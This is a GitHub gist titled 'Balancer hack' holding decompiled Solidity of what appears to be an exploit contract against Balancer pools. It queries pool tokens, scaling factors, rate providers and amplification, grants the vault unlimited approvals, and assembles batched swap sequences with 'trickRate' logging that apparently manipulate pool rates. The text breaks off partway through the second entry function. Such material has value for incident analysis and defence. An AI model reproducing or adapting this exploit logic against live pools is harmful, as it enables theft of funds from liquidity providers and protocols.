Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save cleanunicorn/91498566273779f0238a1d72c2790322 to your computer and use it in GitHub Desktop.

Select an option

Save cleanunicorn/91498566273779f0238a1d72c2790322 to your computer and use it in GitHub Desktop.
Balancer hack
// Decompiled by library.dedaub.com
// 2025.11.03 08:29 UTC
// Compiled using the solidity compiler version 0.7.6
// Data structures and variables inferred from the use of storage instructions
address[] _excludeContracts; // STORAGE[0x15]
uint256[] _excludeSenders; // STORAGE[0x16]
address[] _targetContracts; // STORAGE[0x17]
address[] _targetSenders; // STORAGE[0x18]
string[] _excludeArtifacts; // STORAGE[0x19]
string[] _targetArtifacts; // STORAGE[0x1a]
struct_1389[] _targetArtifactSelectors; // STORAGE[0x1b]
struct_1391[] _excludeSelectors; // STORAGE[0x1c]
struct_1390[] _targetSelectors; // STORAGE[0x1d]
struct_1392[] _targetInterfaces; // STORAGE[0x1e]
uint256 stor_24; // STORAGE[0x24]
uint256 stor_25; // STORAGE[0x25]
uint256 stor_26; // STORAGE[0x26]
uint256 stor_27; // STORAGE[0x27]
uint256 stor_28; // STORAGE[0x28]
uint256 stor_29; // STORAGE[0x29]
uint256 stor_2a; // STORAGE[0x2a]
uint256 stor_2b; // STORAGE[0x2b]
uint8[] array_2c; // STORAGE[0x2c]
uint256 stor_31; // STORAGE[0x31]
uint256 stor_32; // STORAGE[0x32]
uint256 stor_33; // STORAGE[0x33]
uint256 stor_34; // STORAGE[0x34]
uint256 stor_35; // STORAGE[0x35]
uint256 stor_36; // STORAGE[0x36]
uint256 stor_3a; // STORAGE[0x3a]
uint256 stor_3b; // STORAGE[0x3b]
uint256 stor_3c; // STORAGE[0x3c]
bool _failed; // STORAGE[0x8] bytes 0 to 0
bool _iS_TEST; // STORAGE[0x1f] bytes 0 to 0
bool stor_39_0_0; // STORAGE[0x39] bytes 0 to 0
address _callTx; // STORAGE[0x1f] bytes 1 to 20
address stor_20_0_19; // STORAGE[0x20] bytes 0 to 19
address stor_21_0_19; // STORAGE[0x21] bytes 0 to 19
address stor_22_0_19; // STORAGE[0x22] bytes 0 to 19
address stor_23_0_19; // STORAGE[0x23] bytes 0 to 19
struct struct_1389 { string field0; uint256[] field1; };
struct struct_1390 { address field0; uint256[] field1; };
struct struct_1391 { address field0; uint256[] field1; };
struct struct_1392 { address field0; string[] field1; };
// Events
log_named_address(string, address);
log_address(address);
log_named_uint(string, uint256);
function excludeSenders() public nonPayable { find similar
v0 = new address[](_excludeSenders.length);
v1 = v2 = v0.data;
if (_excludeSenders.length) {
v3 = v4 = _excludeSenders.data;
while (v2 + (_excludeSenders.length << 5) > v1) {
MEM[v1] = address(STORAGE[v3]);
v3 = v3 + 1;
v1 += 32;
}
}
v5 = new address[](v0.length);
v6 = v7 = 0;
v8 = v9 = v5.data;
v10 = v11 = v0.data;
while (v6 < v0.length) {
MEM[v8] = address(MEM[v10]);
v8 += 32;
v10 += 32;
v6 += 1;
}
return v5;
}
function targetInterfaces() public nonPayable { find similar
v0 = new uint256[](_targetInterfaces.length);
v1 = v2 = v0.data;
v3 = v4 = 0;
while (v3 < _targetInterfaces.length) {
v5 = v6 = 0;
v7 = new struct(2);
v7.word0 = _targetInterfaces[v3].field0_0_19;
MEM[MEM[64]] = _targetInterfaces[v3].length;
v8 = v9 = MEM[64] + 32;
while (v5 < _targetInterfaces[v3].length) {
v10 = new bytes[](v11);
v11 = (_targetInterfaces[v3][v5].length & (!(_targetInterfaces[v3][v5].length & 0x1) << 8) - 1) >> 1;
v12 = v13 = v10.data;
if (v11) {
if (31 < v11) {
v14 = v15 = _targetInterfaces[v3][v5].data;
while (v13 + v11 > v12) {
MEM[v12] = STORAGE[v14];
v14 += 1;
v12 += 32;
}
} else {
MEM[v13] = _targetInterfaces[v3][v5].length >> 8 << 8;
}
}
MEM[v8] = v10;
v8 += 32;
v5 += 1;
}
v7.word1 = MEM[64];
MEM[v1] = v7;
v1 += 32;
v3 += 1;
}
v16 = new uint256[](v0.length);
v17 = v18 = 0;
v19 = v20 = v16.data;
v21 = v22 = 64 + (MEM[64] + (v0.length << 5));
v23 = v24 = v0.data;
while (v17 < v0.length) {
MEM[v19] = v21 - MEM[64] - 64;
MEM[v21] = address(MEM[MEM[v23]]);
MEM[v21 + 32] = 64;
v25 = 0;
MEM[v21 + 64] = MEM[MEM[32 + MEM[v23]]];
v26 = v27 = v21 + 64 + 32;
v21 = v27 + (MEM[MEM[32 + MEM[v23]]] << 5);
v28 = v29 = MEM[32 + MEM[v23]] + 32;
while (v25 < MEM[MEM[32 + MEM[v23]]]) {
MEM[v26] = v21 - v27;
v30 = v31 = 0;
MEM[v21] = MEM[MEM[v28]];
while (v30 < MEM[MEM[v28]]) {
MEM[32 + (v30 + v21)] = MEM[32 + (MEM[v28] + v30)];
v30 += 32;
}
if (v30 > MEM[MEM[v28]]) {
MEM[v21 + MEM[MEM[v28]] + 32] = v31;
}
v21 = 32 + ((0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & 31 + MEM[MEM[v28]]) + v21);
v26 += 32;
v28 += 32;
v25 += 1;
}
v19 += 32;
v23 += 32;
v17 += 1;
}
return v16;
}
function targetSenders() public nonPayable { find similar
v0 = new address[](_targetSenders.length);
if (_targetSenders.length) {
MEM[v0.data] = _targetSenders;
v1 = v2 = keccak256(24) + 1;
v3 = v4 = 32 + v0.data;
if (v0.data + (_targetSenders.length << 5) > v4) {
while (v0.data + (_targetSenders.length << 5) > v3) {
MEM[v3] = address(STORAGE[v1]);
v1 = v1 + 1;
v3 += 32;
}
}
}
v5 = new address[](v0.length);
v6 = v7 = 0;
v8 = v9 = v5.data;
v10 = v11 = v0.data;
while (v6 < v0.length) {
MEM[v8] = address(MEM[v10]);
v8 += 32;
v10 += 32;
v6 += 1;
}
return v5;
}
function targetContracts() public nonPayable { find similar
v0 = new address[](_targetContracts.length);
if (_targetContracts.length) {
MEM[v0.data] = _targetContracts;
v1 = v2 = keccak256(23) + 1;
v3 = v4 = 32 + v0.data;
if (v0.data + (_targetContracts.length << 5) > v4) {
while (v0.data + (_targetContracts.length << 5) > v3) {
MEM[v3] = address(STORAGE[v1]);
v1 = v1 + 1;
v3 += 32;
}
}
}
v5 = new address[](v0.length);
v6 = v7 = 0;
v8 = v9 = v5.data;
v10 = v11 = v0.data;
while (v6 < v0.length) {
MEM[v8] = address(MEM[v10]);
v8 += 32;
v10 += 32;
v6 += 1;
}
return v5;
}
function 0x60e087db(address varg0, uint256 varg1, uint256 varg2, uint256 varg3, uint256 varg4, uint256 varg5) public nonPayable { find similar
require(msg.data.length - 4 >= 192);
require(msg.sender == _callTx, Error(88));
stor_39_0_0 = 1;
stor_3a = varg3;
stor_3b = varg4;
stor_3c = varg5;
emit 0xb2e13ff20ac7b474198655583edf70dedd2c1dc980e329c4fbb2fc0748b796b('Start.');
stor_23_0_19 = varg0;
stor_31 = varg1;
stor_32 = varg2;
require(bool(stor_23_0_19.code.size));
v0, /* uint256 */ v1 = stor_23_0_19.getPoolId().gas(msg.gas);
require(bool(v0), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
stor_24 = v1;
require(bool(stor_23_0_19.code.size));
v2, /* uint256 */ v3 = stor_23_0_19.getBptIndex().gas(msg.gas);
require(bool(v2), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
stor_25 = v3;
require(bool(stor_22_0_19.code.size));
v4, /* uint256 */ v5 = stor_22_0_19.getPoolTokens(stor_24).gas(msg.gas);
require(bool(v4), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
RETURNDATACOPY(MEM[64], 0, RETURNDATASIZE());
MEM[64] = MEM[64] + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & RETURNDATASIZE() + 31);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 96);
require(MEM[MEM[64]] <= uint64.max);
v6 = 0x33ee(MEM[64] + MEM[MEM[64]], MEM[64] + RETURNDATASIZE());
require(MEM[MEM[64] + 32] <= uint64.max);
v7 = 0x3463(MEM[64] + MEM[MEM[64] + 32], MEM[64] + RETURNDATASIZE());
require(v6.length <= uint64.max);
v8 = new uint256[](v6.length);
if (v6.length) {
CALLDATACOPY(v8.data, msg.data.length, v6.length << 5);
}
v9 = 0;
while (v9 < v6.length) {
assert(v9 < v8.length);
v8[v9] = 0x400000000000000000000000000000000000000000000000000000000000000;
assert(v9 < v6.length);
emit log_address(address(v6[v9]));
assert(v9 < v6.length);
require(bool((address(v6[v9])).code.size));
v10, /* bool */ v11 = address(v6[v9]).approve(stor_22_0_19, uint256.max).gas(msg.gas);
require(bool(v10), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v11 == bool(v11));
v9 += 1;
}
require(v6.length - 1 <= uint64.max);
v12 = new uint256[](v6.length - 1);
if (v6.length - 1) {
CALLDATACOPY(v12.data, msg.data.length, v6.length - 1 << 5);
}
v13 = v14 = v12.data;
array_2c.length = v12.length;
v15 = v16 = array_2c.data;
if (v12.length) {
v17 = v18 = 0;
while (v14 + (v12.length << 5) > v13) {
STORAGE[v15] = uint8(MEM[v13]) * (uint8.max + 1) ** v17 | ~(uint8.max * (uint8.max + 1) ** v17) & STORAGE[v15];
v13 += 32;
v15 += 1 + v17 >> 5;
v17 = (1 - (1 + v17 >> 5)) * (1 + v17);
}
while (v17) {
STORAGE[v15] = ~(uint8.max * (uint8.max + 1) ** v17) & STORAGE[v15];
v15 += 1 + v17 >> 5;
v17 = (1 - (1 + v17 >> 5)) * (1 + v17);
}
}
while (v16 + (31 + array_2c.length >> 5) > v15) {
STORAGE[v15] = 0;
v15 += 1;
}
v19 = 0;
while (v19 < v8.length) {
if (v19 == stor_25) {
break;
} else {
assert(v19 < array_2c.length);
array_2c[v19 >> 5] = uint8(v19) * (uint8.max + 1) ** (v19 % 32) | ~(uint8.max * (uint8.max + 1) ** (v19 % 32)) & array_2c[v19 >> 5];
v19 += 1;
}
v19 += 1;
}
require(bool(stor_23_0_19.code.size));
v20, /* uint256 */ v21 = stor_23_0_19.getScalingFactors().gas(msg.gas);
require(bool(v20), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
RETURNDATACOPY(MEM[64], 0, RETURNDATASIZE());
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(MEM[MEM[64]] <= uint64.max);
v22 = 0x3463(MEM[64] + MEM[MEM[64]], MEM[64] + RETURNDATASIZE());
v23 = 0;
while (v23 < v22.length) {
assert(v23 < v22.length);
emit log_named_uint(29510, v22[v23]);
v23 += 1;
}
stor_26 = 0;
while (1) {
v24 = stor_26;
if (v24 < v22.length) {
if (10 ** 18 != v22[v24]) {
require(bool(stor_23_0_19.code.size));
v25, /* uint256 */ v26 = stor_23_0_19.getRateProviders().gas(msg.gas);
require(bool(v25), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
RETURNDATACOPY(MEM[64], 0, RETURNDATASIZE());
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(MEM[MEM[64]] <= uint64.max);
v27 = 0x33ee(MEM[64] + MEM[MEM[64]], MEM[64] + RETURNDATASIZE());
v28 = 0;
while (v28 < v27.length) {
assert(v28 < v27.length);
if (address(v27[v28]) == address(0x0)) {
break;
} else {
assert(v28 < v8.length);
require(bool(stor_23_0_19.code.size));
v29 = stor_23_0_19.updateTokenRateCache(address(v8[v28])).gas(msg.gas);
require(bool(v29), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
break;
}
v28 += 1;
}
emit log_named_uint('trickRate', stor_26);
assert(stor_26 < v22.length);
stor_27 = v22[stor_26];
assert(stor_26 < v22.length);
emit log_named_uint('trickRate', v22[stor_26]);
require(bool(stor_23_0_19.code.size));
v30, /* uint256 */ v31, /* bool */ v32, /* uint256 */ v33 = stor_23_0_19.getAmplificationParameter().gas(msg.gas);
require(bool(v30), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 96);
require(v32 == bool(v32));
stor_2a = MEM[MEM[64]];
v34 = bool(stor_26);
if (stor_26) {
v34 = v35 = bool(stor_25);
}
if (!v34) {
v36 = 1 != stor_26;
if (1 != stor_26) {
v36 = v37 = 1 != stor_25;
}
if (!v36) {
stor_29 = 2;
} else {
stor_29 = 1;
}
} else {
stor_29 = 0;
}
emit log_named_uint('currentAmp', stor_29);
emit log_named_uint('currentAmp', stor_2a);
require(bool(stor_23_0_19.code.size));
v38, /* uint256 */ v39 = stor_23_0_19.getSwapFeePercentage().gas(msg.gas);
require(bool(v38), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
stor_2b = v39;
require(bool(stor_23_0_19.code.size));
v40, /* uint256 */ v41 = stor_23_0_19.getRate().gas(msg.gas);
require(bool(v40), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(bool(stor_22_0_19.code.size));
v42, /* uint256 */ v43 = stor_22_0_19.getPoolTokens(stor_24).gas(msg.gas);
require(bool(v42), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
RETURNDATACOPY(MEM[64], 0, RETURNDATASIZE());
MEM[64] = MEM[64] + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & RETURNDATASIZE() + 31);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 96);
require(MEM[MEM[64]] <= uint64.max);
v44 = 0x33ee(MEM[64] + MEM[MEM[64]], MEM[64] + RETURNDATASIZE());
require(MEM[MEM[64] + 32] <= uint64.max);
v45 = 0x3463(MEM[64] + MEM[MEM[64] + 32], MEM[64] + RETURNDATASIZE());
v46 = 0x2755(v45);
require(bool(stor_23_0_19.code.size));
v47, /* uint256 */ v48 = stor_23_0_19.getActualSupply().gas(msg.gas);
require(bool(v47), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
assert(10000);
v49 = 0x2a5f(v48 * stor_33 / 10000);
v50 = 0;
while (v50 < v46.length) {
assert(v50 < v46.length);
if (0 != v46[v50]) {
break;
} else {
v50 = v50 + 1;
}
v50 += 1;
}
if (stor_39_0_0) {
v51 = 1 + (v46.length + 3 * stor_32 + v49.length - v50);
require(v51 <= uint64.max);
v52 = v53 = new uint256[](v51);
if (v51) {
v54 = v53.data;
do {
v55 = new struct(5);
v55.word0 = uint256(0);
v55.word1 = 0;
v55.word2 = 0;
v55.word3 = 0;
v55.word4 = 96;
MEM[v54] = v55;
v54 += 32;
v51 = v51 - 1;
} while (v51);
}
} else {
v56 = v46.length + 3 * stor_32 + v49.length - v50;
require(v56 <= uint64.max);
v52 = new uint256[](v56);
if (v56) {
v57 = v52.data;
do {
v58 = new struct(5);
v58.word0 = uint256(0);
v58.word1 = 0;
v58.word2 = 0;
v58.word3 = 0;
v58.word4 = 96;
MEM[v57] = v58;
v57 += 32;
v56 = v56 - 1;
} while (v56);
}
}
v59 = 0;
while (v59 < v46.length) {
v60 = 0;
while (v60 < array_2c.length) {
assert(v59 + v60 < v46.length);
if (0 == v46[v59 + v60]) {
v59 = v59 + 1;
} else {
v61 = new struct(5);
v61.word0 = stor_24;
v61.word1 = stor_25;
assert(v60 < array_2c.length);
v61.word2 = uint8(array_2c[v60 >> 5] / (uint8.max + 1) ** (v60 % 32));
assert(v59 + v60 < v46.length);
v61.word3 = v46[v59 + v60];
require(0 <= uint64.max);
v62 = new struct(1);
v62.word0 = 0;
if (!0) {
break;
} else {
CALLDATACOPY(v62.data, msg.data.length, 0);
v63 = v62.data;
}
v61.word4 = v62;
assert(v59 + v60 - v59 < MEM[v52]);
MEM[32 + (v59 + v60 - v59 << 5) + v52] = v61;
}
v60 += 1;
}
v59 += array_2c.length;
}
emit 0xb2e13ff20ac7b474198655583edf70dedd2c1dc980e329c4fbb2fc0748b796b('Done with amts1');
assert(10 ** 18);
assert(10000 * (stor_27 - 10 ** 18) / 10 ** 18);
stor_28 = 10000 / (10000 * (stor_27 - 10 ** 18) / 10 ** 18);
emit log_named_uint(0x4865726500000000, 10000 / (10000 * (stor_27 - 10 ** 18) / 10 ** 18));
emit log_named_address(0x48657265, address(this));
v64, v65 = 0x2b82();
v66 = 0;
while (v66 < 3 * stor_32) {
v67 = new struct(5);
v67.word0 = stor_24;
v67.word1 = stor_29;
v67.word2 = stor_26;
assert(3);
assert(v66 / 3 < MEM[v65]);
v67.word3 = MEM[32 + (v66 / 3 << 5) + v65];
require(0 <= uint64.max);
v68 = new struct(1);
v68.word0 = 0;
if (!0) {
break;
} else {
CALLDATACOPY(v68.data, msg.data.length, 0);
v69 = v68.data;
}
v67.word4 = v68;
assert(v46.length - v59 + v66 < MEM[v52]);
MEM[32 + (v46.length - v59 + v66 << 5) + v52] = v67;
v70 = new struct(5);
v70.word0 = stor_24;
v70.word1 = stor_29;
v70.word2 = stor_26;
v70.word3 = stor_28;
require(0 <= uint64.max);
v71 = new struct(1);
v71.word0 = 0;
if (!0) {
break;
} else {
CALLDATACOPY(v71.data, msg.data.length, 0);
v72 = v71.data;
}
v70.word4 = v71;
assert(1 + (v46.length - v59 + v66) < MEM[v52]);
MEM[32 + (1 + (v46.length - v59 + v66) << 5) + v52] = v70;
v73 = new struct(5);
v73.word0 = stor_24;
v73.word1 = stor_26;
v73.word2 = stor_29;
assert(3);
assert(v66 / 3 < MEM[v64]);
v73.word3 = MEM[32 + (v66 / 3 << 5) + v64];
require(0 <= uint64.max);
v74 = new struct(1);
v74.word0 = 0;
if (0) {
CALLDATACOPY(v74.data, msg.data.length, 0);
v75 = v74.data;
}
v73.word4 = v74;
assert(2 + (v46.length - v59 + v66) < MEM[v52]);
MEM[(2 + (v46.length - v59 + v66) << 5) + v52 + 32] = v73;
v66 += 3;
}
v76 = 0;
while (v76 < v49.length) {
v77 = new struct(5);
v77.word0 = stor_24;
assert(array_2c.length);
assert(v76 % array_2c.length < array_2c.length);
v77.word1 = uint8(array_2c[v76 % array_2c.length >> 5] / (uint8.max + 1) ** (v76 % array_2c.length % 32));
v77.word2 = stor_25;
assert(v76 < v49.length);
v77.word3 = v49[v76];
require(0 <= uint64.max);
v78 = new struct(1);
v78.word0 = 0;
if (!0) {
break;
} else {
CALLDATACOPY(v78.data, msg.data.length, 0);
v79 = v78.data;
}
v77.word4 = v78;
assert(v46.length - v59 + 3 * stor_32 + v76 < MEM[v52]);
MEM[(v46.length - v59 + 3 * stor_32 + v76 << 5) + v52 + 32] = v77;
v76 += 1;
}
if (1 == stor_39_0_0) {
v80 = new struct(5);
v80.word0 = stor_24;
v80.word1 = stor_3a;
v80.word2 = stor_3b;
v80.word3 = stor_3c;
require(0 <= uint64.max);
v81 = new struct(1);
v81.word0 = 0;
if (0) {
CALLDATACOPY(v81.data, msg.data.length, 0);
v82 = v81.data;
}
v80.word4 = v81;
assert(v46.length - v59 + 3 * stor_32 + v49.length < MEM[v52]);
MEM[32 + (v46.length - v59 + 3 * stor_32 + v49.length << 5) + v52] = v80;
}
stor_39_0_0 = 0;
stor_3a = 0;
stor_3b = 0;
stor_3c = 0;
} else {
v83 = stor_26;
stor_26 = 1 + v83;
}
} else {
break;
}
}
throw();
}
function targetArtifactSelectors() public nonPayable { find similar
v0 = new uint256[](_targetArtifactSelectors.length);
v1 = v2 = v0.data;
v3 = v4 = 0;
while (v3 < _targetArtifactSelectors.length) {
MEM[MEM[64] + 64] = (uint256.max + (!(_targetArtifactSelectors[v3].length & 0x1) << 8) & _targetArtifactSelectors[v3].length) >> 1;
v5 = v6 = MEM[64] + 96;
if ((uint256.max + (!(_targetArtifactSelectors[v3].length & 0x1) << 8) & _targetArtifactSelectors[v3].length) >> 1) {
if (31 < (uint256.max + (!(_targetArtifactSelectors[v3].length & 0x1) << 8) & _targetArtifactSelectors[v3].length) >> 1) {
v7 = v8 = _targetArtifactSelectors[v3].data;
while (v6 + ((uint256.max + (!(_targetArtifactSelectors[v3].length & 0x1) << 8) & _targetArtifactSelectors[v3].length) >> 1) > v5) {
MEM[v5] = STORAGE[v7];
v7 += 1;
v5 += 32;
}
} else {
MEM[v6] = _targetArtifactSelectors[v3].length >> 8 << 8;
}
}
MEM[MEM[64]] = MEM[64] + 64;
v9 = new uint256[](_targetArtifactSelectors[v3].length);
v10 = v11 = v9.data;
if (_targetArtifactSelectors[v3].length) {
v12 = v13 = _targetArtifactSelectors[v3].data;
v14 = v15 = 0;
while (v11 + (_targetArtifactSelectors[v3].length << 5) > v10) {
MEM[v10] = bytes4(STORAGE[v12] / (uint8.max + 1) ** v14 << 224);
v10 += 32;
v12 += 7 + v14 >> 5;
v14 = (4 + v14) * (1 - (7 + v14 >> 5));
}
}
MEM[32 + MEM[64]] = v9;
MEM[v1] = MEM[64];
v1 += 32;
v3 += 1;
}
v16 = new uint256[](v0.length);
v17 = v18 = 0;
v19 = v20 = v16.data;
v21 = v22 = 64 + (MEM[64] + (v0.length << 5));
v23 = v24 = v0.data;
while (v17 < v0.length) {
MEM[v19] = v21 - MEM[64] - 64;
MEM[v21] = 64;
v25 = v26 = 0;
MEM[v21 + 64] = MEM[MEM[MEM[v23]]];
while (v25 < MEM[MEM[MEM[v23]]]) {
MEM[32 + (v25 + (v21 + 64))] = MEM[32 + (MEM[MEM[v23]] + v25)];
v25 += 32;
}
if (v25 > MEM[MEM[MEM[v23]]]) {
MEM[v21 + 64 + MEM[MEM[MEM[v23]]] + 32] = v26;
}
MEM[32 + v21] = 32 + ((0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & 31 + MEM[MEM[MEM[v23]]]) + (v21 + 64)) - v21;
v27 = v28 = 0;
MEM[32 + ((0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & 31 + MEM[MEM[MEM[v23]]]) + (v21 + 64))] = MEM[MEM[32 + MEM[v23]]];
v21 = 32 + ((0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & 31 + MEM[MEM[MEM[v23]]]) + (v21 + 64)) + 32;
v29 = v30 = MEM[32 + MEM[v23]] + 32;
while (v27 < MEM[MEM[32 + MEM[v23]]]) {
MEM[v21] = bytes4(MEM[v29]);
v21 += 32;
v29 += 32;
v27 += 1;
}
v19 += 32;
v23 += 32;
v17 += 1;
}
return v16;
}
function 0x77e0735d(address varg0, uint256 varg1, uint256 varg2, address varg3, uint256 varg4, uint256 varg5) public nonPayable { find similar
require(msg.data.length - 4 >= 192);
require(msg.sender == _callTx, Error(88));
emit 0xb2e13ff20ac7b474198655583edf70dedd2c1dc980e329c4fbb2fc0748b796b('Start.');
stor_23_0_19 = varg0;
stor_31 = varg1;
stor_32 = varg2;
require(bool(stor_23_0_19.code.size));
v0, /* uint256 */ v1 = stor_23_0_19.getPoolId().gas(msg.gas);
require(bool(v0), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
stor_24 = v1;
require(bool(stor_23_0_19.code.size));
v2, /* uint256 */ v3 = stor_23_0_19.getBptIndex().gas(msg.gas);
require(bool(v2), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
stor_25 = v3;
require(bool(stor_22_0_19.code.size));
v4, /* uint256 */ v5 = stor_22_0_19.getPoolTokens(stor_24).gas(msg.gas);
require(bool(v4), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
RETURNDATACOPY(MEM[64], 0, RETURNDATASIZE());
MEM[64] = MEM[64] + (0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 & RETURNDATASIZE() + 31);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 96);
require(MEM[MEM[64]] <= uint64.max);
v6 = 0x33ee(MEM[64] + MEM[MEM[64]], MEM[64] + RETURNDATASIZE());
require(MEM[MEM[64] + 32] <= uint64.max);
v7 = 0x3463(MEM[64] + MEM[MEM[64] + 32], MEM[64] + RETURNDATASIZE());
require(v6.length <= uint64.max);
v8 = new uint256[](v6.length);
if (v6.length) {
CALLDATACOPY(v8.data, msg.data.length, v6.length << 5);
}
v9 = 0;
while (v9 < v6.length) {
assert(v9 < v8.length);
v8[v9] = 0x400000000000000000000000000000000000000000000000000000000000000;
assert(v9 < v6.length);
emit log_address(address(v6[v9]));
assert(v9 < v6.length);
require(bool((address(v6[v9])).code.size));
v10, /* bool */ v11 = address(v6[v9]).approve(stor_22_0_19, uint256.max).gas(msg.gas);
require(bool(v10), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0);
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(v11 == bool(v11));
v9 += 1;
}
require(v6.length - 1 <= uint64.max);
v12 = new uint256[](v6.length - 1);
if (v6.length - 1) {
CALLDATACOPY(v12.data, msg.data.length, v6.length - 1 << 5);
}
v13 = v14 = v12.data;
array_2c.length = v12.length;
v15 = v16 = array_2c.data;
if (v12.length) {
v17 = v18 = 0;
while (v14 + (v12.length << 5) > v13) {
STORAGE[v15] = uint8(MEM[v13]) * (uint8.max + 1) ** v17 | ~(uint8.max * (uint8.max + 1) ** v17) & STORAGE[v15];
v13 += 32;
v15 += 1 + v17 >> 5;
v17 = (1 - (1 + v17 >> 5)) * (1 + v17);
}
while (v17) {
STORAGE[v15] = ~(uint8.max * (uint8.max + 1) ** v17) & STORAGE[v15];
v15 += 1 + v17 >> 5;
v17 = (1 - (1 + v17 >> 5)) * (1 + v17);
}
}
while (v16 + (31 + array_2c.length >> 5) > v15) {
STORAGE[v15] = 0;
v15 += 1;
}
v19 = 0;
while (v19 < v8.length) {
if (v19 == stor_25) {
break;
} else {
assert(v19 < array_2c.length);
array_2c[v19 >> 5] = uint8(v19) * (uint8.max + 1) ** (v19 % 32) | ~(uint8.max * (uint8.max + 1) ** (v19 % 32)) & array_2c[v19 >> 5];
v19 += 1;
}
v19 += 1;
}
require(bool(stor_23_0_19.code.size));
v20, /* uint256 */ v21 = stor_23_0_19.getScalingFactors().gas(msg.gas);
require(bool(v20), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
RETURNDATACOPY(MEM[64], 0, RETURNDATASIZE());
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(MEM[MEM[64]] <= uint64.max);
v22 = 0x3463(MEM[64] + MEM[MEM[64]], MEM[64] + RETURNDATASIZE());
v23 = 0;
while (v23 < v22.length) {
assert(v23 < v22.length);
emit log_named_uint(29510, v22[v23]);
v23 += 1;
}
stor_26 = 0;
while (1) {
v24 = stor_26;
if (v24 < v22.length) {
if (10 ** 18 != v22[v24]) {
require(bool(stor_23_0_19.code.size));
v25, /* uint256 */ v26 = stor_23_0_19.getRateProviders().gas(msg.gas);
require(bool(v25), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
RETURNDATACOPY(MEM[64], 0, RETURNDATASIZE());
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(MEM[MEM[64]] <= uint64.max);
v27 = 0x33ee(MEM[64] + MEM[MEM[64]], MEM[64] + RETURNDATASIZE());
v28 = 0;
while (v28 < v27.length) {
assert(v28 < v27.length);
if (address(v27[v28]) == address(0x0)) {
break;
} else {
assert(v28 < v8.length);
require(bool(stor_23_0_19.code.size));
v29 = stor_23_0_19.updateTokenRateCache(address(v8[v28])).gas(msg.gas);
require(bool(v29), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
break;
}
v28 += 1;
}
emit log_named_uint('trickRate', stor_26);
assert(stor_26 < v22.length);
stor_27 = v22[stor_26];
assert(stor_26 < v22.length);
emit log_named_uint('trickRate', v22[stor_26]);
require(bool(stor_23_0_19.code.size));
v30, /* uint256 */ v31, /* bool */ v32, /* uint256 */ v33 = stor_23_0_19.getAmplificationParameter().gas(msg.gas);
require(bool(v30), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 96);
require(v32 == bool(v32));
stor_2a = MEM[MEM[64]];
v34 = bool(stor_26);
if (stor_26) {
v34 = v35 = bool(stor_25);
}
if (!v34) {
v36 = 1 != stor_26;
if (1 != stor_26) {
v36 = v37 = 1 != stor_25;
}
if (!v36) {
stor_29 = 2;
} else {
stor_29 = 1;
}
} else {
stor_29 = 0;
}
emit log_named_uint('currentAmp', stor_29);
emit log_named_uint('currentAmp', stor_2a);
require(bool(stor_23_0_19.code.size));
v38, /* uint256 */ v39 = stor_23_0_19.getSwapFeePercentage().gas(msg.gas);
require(bool(v38), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
stor_2b = v39;
require(bool(stor_23_0_19.code.size));
v40, /* uint256 */ v41 = stor_23_0_19.getRate().gas(msg.gas);
require(bool(v40), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
require(bool(stor_22_0_19.code.size));
v42, /* uint256 */ v43 = stor_22_0_19.getPoolTokens(stor_24).gas(msg.gas);
require(bool(v42), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
RETURNDATACOPY(MEM[64], 0, RETURNDATASIZE());
